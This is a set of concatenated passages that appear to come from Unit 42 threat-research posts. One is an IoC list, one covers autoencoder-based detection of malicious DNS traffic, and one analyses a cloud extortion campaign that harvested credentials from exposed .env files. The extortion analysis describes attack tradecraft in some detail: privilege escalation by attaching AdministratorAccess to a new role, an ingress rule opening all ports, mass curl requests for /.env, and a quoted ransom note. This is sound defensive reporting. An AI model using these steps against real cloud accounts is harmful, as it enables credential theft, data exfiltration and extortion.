  • Palo Alto Networks’ Cloud Security Agent (CSA) uses XSIAM to provide improved security posture and further enable detection and runtime monitoring capabilities to critical cloud infrastructure through both Prisma Cloud and Cortex cloud agents.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

IoCs

Threat actor email address

  • shinycorp@tutonota[.]com

User Agents

(X stands for varying version numbers)

  • S3 Browser/X.X.X (https://s3browser.com)
  • WinSCP/X.X.X neon/X.X.X
  • aws-cli/X.X.X Python/X.X.X Linux/X.X.X-aws botocore/X.X.X
  • aws-cli/X.X.X md/Botocore#X.X.X ua/X.X os/linux#X.X.X-aws md/arch#x86_64 lang/python#X.X.X md/pyimpl#CPython cfg/retry-mode#legacy botocore/X.X.X
  • aws-cli/X.X.X md/Botocore#X.X.X md/awscrt#X.X.X ua/2.0 os/linux#X.X.X md/arch#x86_64 lang/python#X.X.X md/pyimpl#CPython cfg/retry-mode#legacy botocore/X.X.X

Additional Resources

Updated Aug. 29, 2024, at 12:35 p.m. PT to clarify product protections section.

Autoencoder Is All You Need: Profiling and Detecting Malicious DNS Traffic

Executive Summary

To improve our detection of suspicious network activity, we leveraged a deep learning method to profile and detect malicious DNS traffic patterns. Based on these DNS profiles, we developed multiple detection modules, each designed to identify suspicious domains from different perspectives. We will explore how these DNS traffic patterns correlate with specific types of cyberattacks’ activities through various case studies.

DNS resolution traffic, as the initial stage of network communication, provides critical insights into cyberthreats behind malicious network traffic. Analyzing DNS traffic patterns and characteristics can help us detect and prevent unauthorized infiltration attempts.

For example, upon gaining access to a host within a victim's network, an attacker often deploys malware that periodically connects to its command and control (C2) servers. This results in DNS traffic patterns for these C2 domains that can be markedly different from typical benign DNS activity.

Our detector captured 170 emerging suspicious domains in May 2024. The resulting signatures blocked approximately 374,000 malicious DNS requests every day.

The malicious DNS traffic detector is deployed on the Advanced DNS Security service to provide real-time protection against various network threats. The detected malicious domains are also shared with Advanced URL Filtering.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics C2, Machine Learning

Autoencoder-Based DNS Traffic Profiling

The Palo Alto Networks Advanced DNS Security service continuously monitors real-world DNS traffic to detect and block threats within organizations’ environments. To aid in threat hunting, all DNS requests are logged and delivered to our backend detection systems. This logging grants us the ability to collect and investigate the time series data of DNS traffic for each domain and customer device in real-time.

Analyzing this time series data can help track malicious DNS activity. By comparing emerging traffic trends with known malicious patterns, we can uncover emerging attacker domain names.

However, running any comparisons on raw traffic data is complex, making the analysis computationally expensive. Furthermore, this complexity will grow exponentially as the time series data scales larger. Therefore, a major challenge in analyzing large-scale time series data is determining how to process and store the data efficiently and scalably.

To overcome these challenges, we transform our dynamic DNS traffic time series data into lower, fixed-dimensional vectors called DNS profiles with the autoencoder technique. An autoencoder is a deep learning model that is designed to compress its input into a lower-dimensional vector, then reconstruct the output from this representation. People typically use an autoencoder for dimensionality reduction and feature learning.

We constructed our autoencoder with recurrent neural networks (RNN) cells so it can take variable-dimensional inputs and output compressed, fixed-dimensional vectors that preserve the input sets’ characteristics. We use the same set of time series data as the input and ground truth to train the model and obtain the intermediate vector as our traffic profiles for each device. In this way, the profiles closely model the characteristics of the input DNS traffic time series data.

Figure 1 plots our autoencoder’s validation loss curve during the model training. The loss stabilizes at a low level after 5,000 epochs of training, indicating this is the point where the model has successfully learned the manifold of real-world DNS traffic and its representative characteristics.

Line graph showing the validation loss over epochs ranging from 0 to 7000. The graph features sharp declines in loss at the start and several spikes throughout, before stabilizing at a lower level.
Figure 1. Autoencoder training performance.

Malicious DNS Traffic Detection

After profiling a domain’s DNS traffic into a fixed-dimensional vector, we can leverage various machine learning algorithms, including classification, cluster and anomaly detection models, to discover and analyze malicious network traffic patterns.

DNS Profile Classification

To identify the DNS resolution traffic to malicious domains, we implemented a high-precision classification model trained by historical benign and malicious DNS traffic profiles. The classification model serves a real-time detection system that is able to capture and block ongoing attack traffic as soon as a domain presents suspicious DNS traffic patterns. We illustrate the details of our detection pipeline in the conclusion section.

DNS Traffic Pattern Clustering

In addition to detecting the DNS requests of malicious domains, our DNS profiles also help us move a step further to understand the characteristics of different attacking behaviors in malicious network traffic. Specifically, we apply the clustering algorithm on the malicious DNS profiles to identify different groups of malicious DNS traffic so that we can analyze various DNS patterns and hunt down attack campaigns effectively.

Figure 2 categorizes the traffic of malicious domains into three distinct clusters based on their DNS profiles. The first cluster shows a steady flow of traffic with minimal spikes. Dynamic DNS (DDNS) is one of the behaviors that will generate these high frequency DNS requests and attackers commonly abuse this technique.

Three clustered bar graphs displaying DNS traffic patterns over time. The first cluster shows a steady flow of DNS traffic with minimal spikes, the second has moderate DNS traffic with grouped spikes, and the third shows infrequent DNS activity.
Figure 2. Clusters of various DNS trends.

The IP addresses of DDNS domains are changed frequently by their name servers controlled by DDNS providers or adversaries. As a result, the time-to-live (TTL) values of DDNS records are usually short to force the clients to query for potential resolution updates frequently.

Domains in the second cluster shown in Figure 2 experience a moderate amount of traffic, typically 10-20 requests every hour. This cluster could correspond to DNS tunneling domains, which are contacted by malware periodically for data exfiltration. To extract the stolen data, the attackers usually initialize several DNS requests each time for different subdomains.

The third cluster in Figure 2 is characterized by infrequent activity. These domains are mostly inactive but exhibit periodic bursts of DNS queries on a weekly basis, which is the representative behavior of malware heartbeat communication.

Anomaly DNS Traffic Detection

As demonstrated in the previous section, our clustering process revealed several commonly seen DNS profile patterns. However, we noticed that some DNS profiles presented uncommon trend patterns that were significantly different from others.

The significant variations in these trends could indicate either intentional attacking, malicious behaviors or unintentional issues. To identify all such irregular DNS profile trend patterns, we leverage an anomaly detection algorithm that helps detect outliers.

Figure 3 illustrates the DNS requests trend for the domain run[.]sh from a specific device that presents abnormal time series data. We notice that there is an abnormally high frequency of requests to the domain. Since the trend is relatively stable over the whole 24-hour time period, we conclude that this is most likely done programmatically.

Furthermore, the domain name is also a commonly used name for a bash script program. This leads us to conclude that the DNS requests may have been produced unintentionally.

The user may attempt to run a script that has the same filename but causes a DNS lookup to the file name instead. For instance, if someone uses the browser’s address bar to search for a local file or GitHub file named run[.]sh, it may unintentionally cause a DNS lookup instead.

A line graph displaying DNS Requests over a normalized 9-day timestamp. The requests peak intermittently and frequently throughout each day.
Figure 3. Abnormal DNS traffic trend for run[.]sh.
From our data, we see that besides this device, there are thousands of DNS queries for the same domain every day globally. At the time of detection, this domain was a parked domain and it was not involved in any attack campaign. However, if an attacker takes control of the domain, they can benefit from a large amount of unintentional DNS requests.

Case Study

In this section, we dive into detailed case studies focusing on the detection of malicious traffic patterns through DNS traffic profiling. This analysis covers various network abuses, each presenting unique traffic patterns.

Our profiling method can extract the distinct characteristics of different attacks, enabling efficient detection of intrusion attempts from large-scale network traffic logs. These cases demonstrate the efficacy of our system and provide insights into the landscape of network cyberthreat activities.

Command and Control

Attackers typically use C2 domains for servers that send malware and communicate with devices compromised by malware. Our real-time malicious DNS traffic pattern detector can effectively capture DNS traffic of C2 domains based on their characteristic behavior patterns.

Our detector identified one such C2 domain, biillpi[.]com. Figure 4 shows the DNS request trends for this domain. We observe that the domain receives requests that peak once per day with relatively stable gaps. This pattern correlates with the malicious network activity pattern of Trojans.

Malware typically stays dormant for extended periods of time and activates periodically to contact the C2 server in a heartbeat pattern to confirm connection and obtain further instructions. Therefore, the network traffic a Trojan produces is sparse and presents stable patterns. Furthermore, we also observed that the DNS traffic for this domain consists of many different subdomains with random strings, which could carry data that an attacker attempted to exfiltrate through DNS tunneling.

Line graph displaying DNS Requests over a normalized timestamp of 2.5 days, with two prominent peaks at day 1 and just before day 2.
Figure 4. DNS traffic trend for C2 domain biillpi[.]com.

Malicious DDNS

DDNS services offer a way for domain owners to automatically update the IP addresses associated with their domain names on the fly. This allows websites and services to operate seamlessly with dynamic IP addresses.

Threat actors can abuse DDNS services for C2 traffic using different IP addresses over time for the same domain. This type of DNS traffic presents exclusive characteristics:

  • Compared to legitimate websites and services, malicious DDNS domains receive more sparse network traffic, as there would be no continuous visits to these malicious domains.
  • DDNS domain records will have short TTL values, so we would see more DNS requests within a single communication session to the attackers’ infrastructure.

Figure 5 presents the DNS requests to a malicious Trojan’s C2 domain robotatten[.]com, hosted by nameservers from the DDNS provider ztomy[.]com. The DDNS service resolves this domain to many IP addresses across the world, and each record has a DNS TTL of five minutes. We notice that while there are multiple DNS requests within each session, the overall trend over the course of days is relatively sparse.

Line graph showing DNS Requests over a period of 7 days, with peaks as high as 4 requests and troughs near 0, displayed against normalized timestamps from day 0 to day 7.
Figure 5. DNS traffic trend for malicious DDNS domain robotatten[.]com.

Strategically Aged Domains

Strategically aged domains refer to domains that are registered and left dormant for months or even years before being actively used for attack campaigns. Advanced persistent threat (APT) groups occasionally use this strategy for their C2 domains so their traffic can evade traditional domain-based reputation checks.

A strategically aged domain's DNS traffic will present a sudden burst or pattern change during their activation. Our system is able to capture this indicative signal for cyberattacks from massive DNS traffic.

Figure 6 shows an example from this type of DNS traffic trend. An infected host periodically sends a limited amount of heartbeat traffic to the malicious domain pococo[.]cc but not in a uniform manner, over the course of one day. After a successful infiltration, we would observe a much higher volume of DNS traffic toward the domains in high frequency for Trojan operations and data exfiltration.

Line graph depicting DNS Requests over a normalized timestamp of 20-plus days. The vertical axis ranges from 0 to 6 DNS Requests, and the horizontal axis represents time from 0 to 20 days. The graph shows sporadic peaks in DNS Requests throughout the period with most clustered at the end.
Figure 6. DNS traffic trend for strategically aged domain pococo[.]cc.

Domain Squatting

Our detector also captures traffic toward squatting domains. One example is comcadt[.]net, which is a typosquatting domain mimicking a popular telecommunications company. Since the characters d and s are neighbors on the keyboard, an unintentional typographical error (typo) would lead a victim to the typosquatting domain.

Figure 7 shows how we observed that the DNS queries for comcadt[.]net experienced alternating active and dormant phases, with each phase lasting several days. Investigating the DNS responses for comcadt[.]net, we found this domain was hosted by more than 50 different malicious IP addresses located in the United States and the Netherlands.

Furthermore, the DNS records only had a TTL of 10 minutes, indicating the possible use of fast flux, a technique that makes the malicious domain resolve to many malicious IP addresses that rapidly circulate. Cybercriminals can use this technique to improve the resilience of their attacking infrastructure while preventing investigators from effectively isolating and blocking their attacks.

Bar chart showing DNS Requests over a normalized 15-day timestamp period with sporadic peaks in request frequency.
Figure 7. DNS traffic trend for typosquatting domain comcadt[.]net.

Internet Scam

Scamming websites also generate representative DNS resolution patterns that are captured by the malicious DNS traffic detector. One example is the domain carollewis[.]network.

Figure 8 shows that DNS traffic for this scam activity is relatively sparse, since once victims notice the scam website, they tend to not visit it again. We also observed that most of this scam traffic appeared during business hours.

Line graph depicting DNS Requests over a period of 7 days with peaks at roughly daily intervals, showing values on the y-axis ranging from 0 to 2.0 and days on the x-axis from 0 to 6.
Figure 8. DNS traffic trend for scamming domain carollewis[.]network.
We find that the detected scam domain hosts several dynamically generated URLs. These URLs redirect the user to various suspicious landing pages.

An example URL is cqk1rt8hubcc73f3775g.networkcyclechain[.]com/01, which was a fake antivirus page when we checked it in a lab environment. Figure 9 presents a screenshot of the fake antivirus landing page.

Screenshot of a computer screen displaying a fake McAfee Total Protection security alert pop-up, warning that the user has visited an illegal website and the PC may be infected by viruses. It suggests performing an antivirus scan with a prominent green "Scan" button.
Figure 9. Fake antivirus landing page.

Conclusion

Malicious DNS requests generated by attackers will present patterns that are distinct and different from legitimate DNS traffic. This insight allows us to identify malicious domains based on DNS traffic patterns and characteristics.

To capture the attacking indicators from the DNS traffic, we developed an autoencoder-based deep learning profiling solution to vectorize steaming DNS request traffic. Our autoencoder model is efficient and scalable to encode the DNS trends in real-time. Once we create a baseline of the DNS traffic, we leverage comprehensive threat intelligence to build the classifier that identifies the representative request patterns for various cyberthreats.

How Palo Alto Networks Incorporates Autoencoder-Based DNS Traffic Profiling Into Our Detections

Figure 10 shows the architecture of our system. Our traffic encoder ingests real-time logs from our Advanced DNS Security system to generate and continuously update DNS profiles for each domain and source tuple.

Illustration of a cybersecurity process for detecting malicious domain names. The diagram shows the flow from a Firewall, processing DNS Traffic, through an Encoder, and a Cache, ultimately leading to a Detector. From the Detector, the malicious domain names flow back to the Firewall. Each step is marked with intuitive icons representing the function of each component.
Figure 10. Real-time malicious DNS traffic pattern detection system.

We store all the profiles to an in-memory database so we can achieve high throughput and scalability. The maliciousness classifier scans all updated profiles to hunt for emerging attacks.

The detected malicious domain names will be delivered to the Next-Generation Firewall through the cloud-delivered security services. So the firewall can block any further communication to these domains as soon as possible.

Figure 11 presents the detection performance of our detector. In May 2024, our detector captured 170 emerging malicious domains. All signatures from the detector blocked an average of 374,000 malicious DNS requests in our customers’ networks every day during this period.

Graph comparing the number of detections and blocked DNS requests over time. The X-axis represents dates from May 1, 2024, to May 31, 2024. The Y-axis is divided, showing the number of detections in blue bars and the number of blocked DNS requests in a red line, scaled on the left and right axes respectively.
Figure 11. Number of daily detections and malicious traffic prevention.

Palo Alto Networks Mitigations

Palo Alto Networks continuously monitors the traffic from the Advanced DNS Security customers to detect and block emerging cyberthreats as soon as they present suspicious network activities. The detected malicious domains are also shared with Advanced URL Filtering.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Below is a list of domains and the URLs discussed in this article.

  • run[.]sh
  • biillpi[.]com
  • robotatten[.]com
  • pococo[.]cc
  • comcadt[.]net
  • carollewis[.]network
  • cqk1rt8hubcc73f3775g.networkcyclechain[.]com/01

 

Leaked Environment Variables Allow Large-Scale Extortion Operation in Cloud Environments

Executive Summary

Unit 42 researchers found an extortion campaign's cloud operation that successfully compromised and extorted multiple victim organizations. It did so by leveraging exposed environment variable files (.env files) that contained sensitive variables such as credentials belonging to various applications.

Multiple security missteps were present in the course of this campaign, including the following:

  • Exposing environment variables
  • Using long-lived credentials
  • Absence of least privilege architecture

The campaign operation set up its attack infrastructure within various organizations’ Amazon Web Services (AWS) environments and used that groundwork to scan more than 230 million unique targets for sensitive information.

This campaign targeted 110,000 domains resulting in over 90,000 unique variables in the .env files. Of those variables, 7,000 belonged to organizations' cloud services and we traced 1,500 variables back to social media accounts. Additionally, attackers used multiple source networks to facilitate the operation.

Based on our research, the attackers used the following for this extortion campaign:

  • The onion router (Tor) network to perform reconnaissance and initial access operations
  • Virtual private networks (VPN) to achieve lateral movement and perform data exfiltration
  • Virtual private server (VPS) endpoints for other aspects of the campaign

The campaign involved attackers successfully ransoming data hosted within cloud storage containers. The event did not include attackers encrypting the data before ransom, but rather they exfiltrated the data and placed the ransom note in the compromised cloud storage container.

Moreover, the attackers behind this campaign likely leveraged extensive automation techniques to operate successfully and rapidly. This indicates that these threat actor groups are both skilled and knowledgeable in advanced cloud architectural processes and techniques.

Note that the attackers’ success relied on misconfigurations in victim organizations that inadvertently exposed their .env files. It did not result from vulnerabilities or misconfigurations in cloud providers’ services.

This post will detail the cloud extortion campaign by examining different tactics from the MITRE ATT&CK framework as we recount and explain the events.

Palo Alto Networks customers are better protected from the threats discussed in this article through detection mechanisms available from the following products:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Extortion

Background

This article exposes an extortion operation that targeted cloud environments and leveraged the dynamic scalability of cloud platforms. It also leveraged multiple cloud services to successfully hold organizations’ cloud data to ransom.

The events discussed within this post took place within a cloud environment where the account operators deployed and used overly permissive IAM credentials. These credentials allowed the threat actors to perform several operations that would not have been possible if the account operators followed cloud security best practices.

Attackers obtained initial access to victims' cloud environments through exposed environment files (.env) files within the victim organization's web applications. Due to the security risks associated with authentication data stored inside .env files, organizations should follow security best practices to never expose environment files publicly.

Environment files allow users to define configuration variables used within applications and platforms. These files often contain secrets such as hard-coded cloud provider access keys, software-as-a-service (SaaS) API keys and database login information then used by the threat actor for initial access.

The attack pattern of scanning the internet for domains and exploiting credentials obtained from exposed environment variable files follows a larger pattern we believe propagates through other compromised AWS environments.

Note: The presence of these secrets resulted from misconfigurations of victim organizations who inadvertently exposed their .env files. None of the listed vendors’ applications or services had vulnerabilities or misconfigurations that resulted in this exposure.

Initial Access (MITRE ATT&CK Technique TA0001)

The activity discussed in this post resulted from exposed AWS Identity and Access Management (IAM) access keys obtained from publicly accessible .env files. The threat actors located these access keys by scanning and identifying exposed .env files hosted on unsecured web applications. Once the actors identified the exposed access keys, they used those keys to gain access to the hosting cloud environment.

Unit 42 has responded to a variety of incidents involving AWS environments over the last 12 months, including a previously reported incident involving a zero-day vulnerability within the SugarCRM platform. We continue to see a growing trend of attackers targeting cloud IAM credentials leading to initial access of organizations’ cloud environments.

The most common initial access vectors for this particular threat originate from organizations inadvertently misconfiguring servers, subsequently exposing sensitive files to the public internet, with the most frequently exposed files being .env files.

Discovery (MITRE ATT&CK Technique TA0007)

The threat actor behind this activity performed various discovery API calls to learn more about the environment and select services to exploit. These discovery operations targeted various services such as the following:

  • IAM
  • Security Token Service (STS)
  • Simple Storage Service (S3)
  • Simple Email Service (SES).

We found these aforementioned services targeted by threat actors while they looked to expand their operation’s control over an organization's cloud environment.

At the beginning of every operation for the discovery phase in this campaign, attackers ran the GetCallerIdentity API call to verify the identity of the user or role assigned to the exposed IAM credential. GetCallerIdentity is the AWS version of whoami. It returns information about the IAM credentials associated UserID, AWS account number and the Amazon Resource Name (ARN) of the principal used to initiate the request, as shown in Figure 1.

Image 1 is a screenshot of GetCallerIdentity calling a response.
Figure 1. Example GetCallerIdentity and response.

For background, the AWS UserID is a unique identifier of the entity that performed the call. The AWS account number is the unique 12-digit identifier of the AWS account to which the UserID belongs.

The ARN includes the AWS account number and human-readable name of the principal performing the call. Every cloud resource has a unique ARN within an AWS account that, for example, can be subsequently used as a reference to that entity in CloudTrail logs or CloudFormation templates.

The ARN states the following information:

  • The AWS service it’s associated with
  • Region hosting the AWS resource, but for global services like IAM the region is left blank
  • The AWS account it's located in
  • The IAM resource type associated with this IAM credential (e.g., user, role, or group)

Attackers also successfully attempted the AWS API request ListUsers to gather a list of IAM users in the AWS account as well as the API request ListBuckets to identify all the existing S3 buckets. These operations give the attackers additional insight into what IAM users exist that they could exploit for future lateral movement, and they provide S3 bucket names for data exfiltration targets.

The threat actors then successfully performed more extensive discovery operations against AWS SES with the following API calls:

While the threat actor did not successfully use SES beyond the initial discovery operations listed above during this campaign, we have found that attackers often target and leverage the SES service to send phishing messages to potential victims. By leveraging legitimate SES services for phishing attacks, a threat actor's malicious emails originate from a trusted source, often allowing them to evade an organization’s defenses.

All of these various events provided the threat actor with a strong baseline understanding of what resources existed throughout the environment and where they could pivot.

Privilege Escalation (MITRE ATT&CK Tactic TA0004)

Following the threat actor’s discovery operations, they identified that the original IAM credential used to gain initial access to the cloud environment did not have administrator access to all cloud resources. We determined that the attackers discovered the original IAM role used for initial access did have the permissions to both create new IAM roles and attach IAM policies to existing roles. Using these capabilities, the attacker successfully escalated their privileges within victim cloud environments by creating new IAM resources with unlimited access.

To accomplish this, they first created an IAM role named lambda-ex with the API request CreateRole, then used the API call AttachRolePolicy to attach the AWS-managed policy AdministratorAccess to the newly created lambda-ex role, as shown in Figure 2.

Image 2 is a screenshot of the JSON permissions for the AdministratorAccess policy.
Figure 2. JSON permissions for the AdministratorAccess policy.

These two IAM events resulted in a new IAM role with administrative permissions, within the compromised AWS account, completing the threat actor’s privilege escalation portion of the attacks. In the following section, we discuss how the threat actors used this role to grant unfettered access to their newly created lambda functions.

Execution (MITRE ATT&CK Tactic TA0002)

Following the successful creation of the privileged IAM role, the threat actor attempted to create two different infrastructure stacks, one using Amazon Elastic Cloud Compute (EC2) resources and the other with AWS Lambda. By performing these execution tactics, the actors failed to create a security group, key pair and EC2 instance, but they successfully created multiple lambda functions with the newly created IAM role attached.

The threat actor attempted to create new EC2 resources to use for cryptomining based on the size of the instance. They successfully created new Lambda functions for their automated scanning operation.

Failed EC2 Creation

During these failed operations, the attackers first attempted to perform the API call CreateSecurityGroup and named the group security. Then they ran AuthorizeSecurityGroupIngress to create an ingress rule allowing all ports from 0 - 65535 from any IP address (0.0.0.0/0). Following that, they attempted to CreateKeyPair and RunInstances with Amazon Machine Image (AMI) ID ami-08e8725a42775740f and an EC2 c6g instance type.

C-series instances are compute optimized virtual machines, which are ideal for computationally intensive workloads. As such, malicious actors have often used these instances for cryptojacking operations.

The AMI ID belonged to a publicly accessible Ubuntu 18.04 LTS image in the us-east-1 region and the c6g instance type family ran on AWS Graviton2 processors built for compute-intensive workloads.

All of these actions took place in under a minute, indicating a pre-scripted, automated activity. However, these actions failed due to limited permissions associated with the compromised IAM user.

Successful Lambda Function Creation

Following the failed EC2 service actions, the threat actor successfully pivoted to the AWS Lambda service, a cloud-based serverless computation service, where they used the granted permissions obtained from the exposed IAM credential. Their first operation created a new lambda function using the CreateFunction20150331 API call in the AWS region us-east-1, which created a new lambda function named ex. We will go into a deep dive into the lambda function’s code and its purpose in the next section.

Once the threat actor successfully created the first lambda function, they automatically deployed that same lambda function into every other enabled region in the account within a second. As part of the default lambda function creation process, the role attached to the lambda function automatically performs a CreateLogGroup API call followed by CreateLogStream, which begins the process of logging all lambda function operations.

The CreateLogGroup event created a new CloudWatch log group containing the name of the newly created lambda /aws/lambda/ex. Each log stream within the log group aggregates various lambda run information by date. This allowed us to successfully follow the threat actor's operations using the lambda function ex they created. It is important to note that the lambda function’s logging creation process is automated and attackers cannot turn it off.

The threat actor created a malicious lambda function by leveraging the stolen IAM user credentials. The Unit 42 reverse engineering team analyzed the malicious lambda function, which consisted of a bash script configured to perform internet-wide scanning using a preconfigured set of sources containing millions of domains and IP addresses. Figure 3 displays the complete code of the lambda function.

Image 3 is a screenshot of many lines code. Is that it is the lambda function bash script.
Figure 3. The lambda function bash script.

The script retrieved a list of potential targets from a publicly accessible third-party S3 bucket exploited by the threat actor. We believe the threat actor hosted these third-party S3 buckets within other compromised and legitimate cloud environments, and the threat actor leveraged these resources in this attack. The list of potential targets the malicious lambda function iterated over contained a record of victim domains. For each domain in the list, the code performed a cURL request, targeting any environment variable files exposed at that domain, (i.e., http://<target>/.env).

Upon successfully retrieving the domain’s exposed environment file, the lambda function uncovered and identified cleartext credentials contained within the file. Once the lambda function identified the credentials, it stored them in a newly created folder within another threat-actor-controlled public S3 bucket.

The malicious lambda function specifically targeted instances where the .env file referenced the string mailgun as seen on line 24 within Figure 3. With these compromised Mailgun credentials, threat actors can send large-scale phishing attacks against organizations from legitimate domains, making their attacks more likely to bypass security protections. We accessed the publicly exposed threat actor’s public S3 bucket and assessed that the threat actor could copy the exposed .env files of at least 110,000 domains.

The following diagram, Figure 4, shows the threat actor’s architectural design for scanning and retrieving the exposed authentication credentials in the .env files.

Image 4 is a diagram of a high-level operational architecture by a threat actor. From left to right: AWS lambda function created with stolen credentials. The AWS cloud is represented by a blue rectangle. Inside the cloud rectangle are two smaller boxes, outlined in yellow. These represent the threat actor controller owned AWS account (left), and the compromised AWS account (right). In the threat actor controlled account is one bucket that has the Amazon S3 domains, and the IP address sources. Also in the bucket is the amazon S3 .ENV file found leaks. In the compromised AWS account is the AWS lambda. A red arrow goes from the threat actor-controlled box to the AWS lambda account, and then back to the bucket. An arrow leads from the AWS lambda in the compromised AWS account to the HTTP hostname dot env.
Figure 4. High-level example of the threat actor's operational architecture.

We believe this design is part of a larger, fully automated operation based upon some of the S3 bucket naming conventions alone (e.g., s3://<REDACTED>/ref5/). Due to the large number of targeted domains, we have high confidence that the attackers heavily relied upon automation to achieve their goals.

Further evidence for the heavy reliance upon automation came during our analysis of the threat actor’s public S3 bucket. We identified more than 230 million unique targets that the threat actor was scanning for misconfigured and exposed environment files. Figure 5 shows the contents of the threat actor’s public bucket, listing the number of configured targets.

Image 5 is a screenshot of the target count. The left is the total. The right column has the file name.
Figure 5. Target count per scan file and total (the name of the file is on the right).

At the time of access to this public S3 bucket, we estimate that multiple compromised AWS accounts were the target of this malicious scanning as part of a compromise-scan-compromise automated operation. In a later section of this article, we will describe more details about the misconfigured .env finding.

Exfiltration (MITRE ATT&CK Tactic TA0010)

These attacks also included data exfiltration operations from S3 buckets through the use of the S3 Browser tool. This tool generates various S3 API calls when used. These events show which S3 buckets the threat actors interacted with regardless of whether the S3 object-level logging was enabled (shown in Figure 6). These API calls include:

Image 6 is a screenshot of many lines of code. It is an example CloudTrail event of the GetBucketLogging function.
Figure 6. Example: GetBucketLogging CloudTrail event.

Note, if an S3 bucket does not have object-level logging enabled, Cost and Usage Reports can provide a way to determine if the S3 Browser activity resulted in data exfiltration.

Impact (MITRE ATT&CK Tactic TA0040)

After the threat actor successfully exfiltrated and deleted S3 objects from the target victim’s S3 bucket, they uploaded a ransom note to the now empty bucket. One example is shown in Figure 7.

Image 7 is a screenshot of a ransom note left by a threat actor. Hello, urgent! %100 of your S3 files have been exfiltrated to our server. We have all client personal information from json files. In order to prevent their sale, you will need to make a payment in bitcoin to us. Note that if you do not make the payment, the files and personal information will be sold in the dark web and you will take all responsibility and consequences of it being leaked and reputation damage. Once we receive the payment, we will delete all the files we have and will never hear from us. We are giving you the chance to resolve this quietly with no problems or headache. To negotiate with us for a deal contact us. The contact information has been redacted.
Figure 7. Ransom note left by the threat actor.

Ransom notes are typically the last step in the extortion process and are designed to scare and coerce the victim to pay an often large fee. Victims make the ransom payment to ostensibly prevent the threat actor from selling or leaking their stolen data on the dark web and to hopefully get their deleted data back. See the Unit 42 Ransomware and Extortion Report for additional information regarding ransomware and extortion trends.

Attackers often upload ransom notes to the impacted S3 bucket. There are also occurrences where the threat actor will email the note to stakeholders of the victim company.

Assessing the Impact of the Leak

As mentioned earlier, the threat actor created a lambda function to scan an extensive list of domains looking for misconfigured and exposed .env files. Ironically, we found we could access the threat actors’ publicly exposed S3 bucket that they used to store and view the stolen .env files. The data in this exposed S3 bucket consisted of the leaked environment variables collected by the threat actors from the misconfigured publicly exposed .env files.

Some of the .env files contained multiple variables that revealed information about several services used within a victim’s infrastructure. Figure 8 shows an example of a complex .env file.

Image 8 is a screenshot of an example .env file. There are 40 lines total.
Figure 8. Example of .env file with more than 40 configurations.

We found that the exposed .env files contained a variety of credentials, not only related to cloud infrastructure but also to social media accounts and other on-premises applications. Due to the variety of credentials, we categorized them based on related services to better represent the breadth of exposed credentials. The chart in Figure 9 shows the statistics of credential exposures obtained from the exposed .env files, based on the application type.

Image 9 is a column graph of the types of leaks from .env variables. From highest to lowest, they are application, database, email, other, cloud and social media.
Figure 9. Statistics of categorized leaks from .env variables.

We identified over 90,000 unique combinations of leaked environment variables that contained access keys or IAM credentials, with 7,000 access keys directly associated with various cloud services. Not all the leaks necessarily contained user accounts or secrets, but all of them leaked some details about a victim’s internal infrastructure or its configuration.

The threat actor discovered exposed access keys within these variables and used select access credentials as an initial attack vector. Most concerningly, 1,515 of the leaked variables were associated with social media platforms; some of them included account names and authentication secret keys.

We found that while the threat actor’s lambda function initially targeted Mailgun credentials, they captured many other secrets belonging to cloud service providers and SaaS applications.

As noted above, the presence of these secrets resulted from misconfigurations in victim organizations, not from vulnerabilities or misconfigurations in listed vendors’ applications or services.

Figure 10 below shows the breakdown of the top six unique cloud and SaaS secrets stolen and grouped by their respective provider.

Image 10 is a graphic of the top six cloud and SaaS platforms identified in the dot EV files. 1,185 AWS Access Key. 333 PayPalOauth. 235 GitHub. 111 HubSpot API key. 39 SlackWebHook. 27 DigitalOceanToken.
Figure 10. Top six cloud and SaaS platforms identified in the .env files.

Please note that Unit 42 did not assess the validity of these credentials. Through the malicious lambda function, the threat actor gained access to several types of credentials. Unit 42 assesses with high confidence that the threat actor likely leveraged the stolen secrets to carry out further acts against victims.

We notified AWS about the availability of the public bucket and its role in an ongoing compromise. Shortly after notification, the public bucket was no longer available.

Network Analysis

When reviewing the different components discussed in this article, we identified various correlations based on network indicators.

The graph displayed in Figure 11 shows network correlations by IP address, user-agent and exit point type. After careful examination of the malicious network traffic, we identified the following exit point categories:

  • VPN exit node: Known VPN exit point
  • Tor exit node: Tor network
  • VPS exit node: Hosting provider
  • Institution exit node: IP was currently allocated and used by the institution
  • ISP exit node: Internet service provider, giving services directly to users
  • Cloud exit node: The access was performed from a cloud provider
Image 11 is a network graph of malicious access for all incidents. The graph is complex, and color coded as follows: Orange circles are the IP address. Red-pink circles are the user agent. Cream circles are the exit point type. A red arrow points to the lambda function create/access. A blue arrow points to the Ukraine IP address. A purple arrow points to the Morocco IP address. A second red arrow in the bottom right corner points to the S3 browser tool.
Figure 11. Network graph of malicious access for all incidents.

We used internal and public data sources to categorize the originating IP addresses used by the threat actors during this campaign according to the exit node type. The activity in Figure 11 above represents access attempts the threat actor performed using the AWS IAM credentials either discovered from the victim’s exposed environment file or from IAM roles created by the threat actor.

The threat actor operated discreetly using Tor network connections when creating the lambda function activities. After that, the threat actor pivoted to using a VPN for all S3 access and exfiltration using the S3 Browser tool. However, the threat actor made a connection from a controlled AWS account to access S3 customer internal buckets. This event left a trace on AWS-hosted infrastructure that we could follow.

We assess with medium to high confidence that the threat actor accessed the compromised victims’ AWS environment from IP addresses directly assigned to ISPs. This operational security (OPSEC) misstep allowed us to determine, with medium confidence, the threat actor’s general geographic location.

